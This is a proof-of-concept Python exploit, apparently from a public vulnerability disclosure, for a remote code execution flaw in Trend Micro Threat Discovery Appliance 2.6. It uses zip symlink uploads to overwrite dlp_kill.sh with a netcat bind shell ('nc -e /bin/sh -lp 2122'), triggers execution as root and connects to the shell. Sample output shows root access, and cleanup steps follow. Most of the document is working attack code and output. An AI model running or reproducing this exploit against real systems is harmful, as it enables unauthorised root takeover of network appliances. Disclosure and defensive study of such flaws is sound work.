1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 |
#!/usr/local/bin/python """ Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Remote Code Execution Vulnerability Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ File: TDA_InstallationCD.2.6.1062r1.en_US.iso sha1: 8da4604c92a944ba8f7744641bce932df008f9f9 Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1 Summary: ======== The vulnerabity is that the dlp_policy_upload.cgi allows the upload of a zip file, located statically as: /var/dlp_policy.zip. The problem is that we can then get that file extracted using admin_dlp.cgi. This gets extracted into 2 locations: - /eng_ptn_stores/prod/sensorSDK/data/ - /eng_ptn_stores/prod/sensorSDK/backup_pol/ We can then use symlinks to craft a symlinked that points to /opt/TrendMicro/MinorityReport/bin/ ls -la /eng_ptn_stores/prod/sensorSDK/data/si lrwxrwxrwx1 root root 35 Sep3 01:22 /eng_ptn_stores/prod/sensorSDK/data/si -> /opt/TrendMicro/MinorityReport/bin/ Then, all we do is create /eng_ptn_stores/prod/sensorSDK/data/si/dlp_kill.sh with malicious code and get it executed... Notes: ====== - For this particular PoC, all I did was exec a bind shell using netcat showing that there is no firewall protections... - Auth is bypassed in an alternate poc, so we can attack this with the default password... Exploitation ============ This is a clever trick, basically, we cant traverse since unzip checks for ../ (even though spec says its ok). We can still exploit this however by extracting a symlink to say a directory and then write into that directory. For example, if you wanted to link to /tmp you would ln -s /tmp/ pwn zip --symlinks -r foo.zip pwn Now foo.zip contains the symlink to /tmp. Once this is extracted, the symlink will be written to disk. All we need todo now is create another zip file with the folder and file... zip -r foo.zip pwn/hax.txt Now after extracting foo.zip, we will write hax.txt into /tmp. Of course, we can automate this magic via python. So, in summary, the steps to attack this target are: 1. Bypass the auth via XXXX 2. upload a zip with a symlink 3. trigger extraction, crafting the malicious symlink 4. upload another zip with the malicious dlp_kill.sh file 5. trigger extraction, the symlink fires and crushs /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh 6. trigger the execution of /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh via admin_dlp.cgi Greetz to the busticati, you know who you are. My home boys. saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py <target> <pass> (+) eg: ./poc.py 172.16.175.123 admin saturn:~ mr_me$ ./poc.py 172.16.175.123 admin123 (+) logged into the target... (+) performing initial preflight attack...! (+) uploading the zipped symlink... (+) successfuly uploaded the zipped symlink (+) extracting the symlink... (+) extracted the symlink! (+) uploading the zipped dlp_kill.sh... (+) successfuly uploaded the zipped log_cache.sh (+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/... (+) extracted the dlp_kill.sh file! (+) starting backdoor... (+) backdoor started ! (+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh ! (+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh id uid=0(root) gid=0(root) uname -a Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown cat /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh #!/bin/sh kill <code>pidof sensorworker sensormain for i in <code>seq 0 4</code>; do sleep 1; sid=<code>pidof sensormain if [ "$sid" -eq "" ]; then break else if [ $i -eq 4 ]; then kill -9 $sid fi fi done nc -e /bin/sh -lp 2122>/dev/null sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh cat /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh #!/bin/sh kill <code>pidof sensorworker sensormain for i in <code>seq 0 4</code>; do sleep 1; sid=<code>pidof sensormain if [ "$sid" -eq "" ]; then break else if [ $i -eq 4 ]; then kill -9 $sid fi fi done exit Cleanup: ======== We just use "sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh" to remove the last line of the script (the backdoor). """ import os import sys import time import zipfile import requests import threading from cStringIO import StringIO requests.packages.urllib3.disable_warnings() def _get_bd(): bd = """#!/bin/sh kill <code>pidof sensorworker sensormain for i in <code>seq 0 4</code>; do sleep 1; sid=<code>pidof sensormain if [ "$sid" -eq "" ]; then break else if [ $i -eq 4 ]; then kill -9 $sid fi fi done %s>/dev/null """ % c return bd def _build_zip(CREATE_SYMLINK=False): """ builds the zip file using a symlink attack into a folder... so we symlink the /opt/TrendMicro/MinorityReport/bin/ directory and then crush the dlp_kill.sh only to then later get it executed resulting in rce as root. """ if CREATE_SYMLINK: zipinfo = zipfile.ZipInfo() zipinfo.filename = u'si' zipinfo.external_attr |= 0120000 << 16L # symlink file type zipinfo.compress_type = zipfile.ZIP_STORED f = StringIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) if CREATE_SYMLINK: z.writestr(zipinfo, "/opt/TrendMicro/MinorityReport/bin/") else: zipinfo = zipfile.ZipInfo("si/dlp_kill.sh") zipinfo.external_attr = 0777 << 16L # give full access to included filezipinfo # backdooring code, as we do z.writestr(zipinfo, _get_bd()) z.close() test = open('hax.zip','wb') test.write(f.getvalue()) test.close() return f.getvalue() def we_can_upload_a_zip(CREATE_SYMLINK=False): """ uploads a zip file with php code inside to our target for exploitation """ multiple_files = { 'Q_UPLOAD_ID': (None, ''), 'binary1': ('pwn.zip', _build_zip(CREATE_SYMLINK), 'application/zip'), 'submit': (None, 'Import') } r = s.post(upload_url, files=multiple_files, verify=False) if r.status_code == 200: return True return False def unzip(): try: r = s.post(unzip_url, data={"act":"save","upload_status":"0"}, verify=False) except: pass return True def we_can_login(): r = s.post(login_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False) if "frame.cgi" in r.text: return True return False def main(): global c, s, t, p, login_url, unzip_url, upload_url if len(sys.argv) != 3: print "(+) usage: %s <target> <pass>" % sys.argv[0] print "(+) eg: %s 172.16.175.123 admin" % sys.argv[0] sys.exit(-1) t = sys.argv[1] p = sys.argv[2] bu = "https://%s/" % t login_url= "%scgi-bin/logon.cgi" % bu unzip_url= "%scgi-bin/admin_dlp.cgi" % bu upload_url = "%scgi-bin/dlp_policy_upload.cgi" % bu s = requests.Session() # 1st we bypass auth and login if we_can_login(): # we just use a bind, demonstrating that the target doesnt even have a proper firewall! c = "nc -e /bin/sh -lp 2122" print "(+) logged into the target..." print "(+) performing initial preflight attack...!" print "(+) uploading the zipped symlink..." # 2nd we upload symlink attack if we_can_upload_a_zip(CREATE_SYMLINK=True): print "(+) successfuly uploaded the zipped symlink" print "(+) extracting the symlink..." # 3rd we extract it unzip() print "(+) extracted the symlink!" time.sleep(2) # let the server process things print "(+) uploading the zipped dlp_kill.sh..." # 4th we upload the backdoor if we_can_upload_a_zip(CREATE_SYMLINK=False): print "(+) successfuly uploaded the zipped log_cache.sh" print "(+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/..." # 5th extract the backdoor, crushing /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh unzip() print "(+) extracted the dlp_kill.sh file!" print "(+) starting backdoor..." # 6th we trigger the exec of /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh thread = threading.Thread(target=unzip, args=()) thread.daemon = True thread.start() print "(+) backdoor started !" print "(+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh !" print "(+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh" time.sleep(2) os.system("nc %s 2122" % t) if __name__ == '__main__': main() |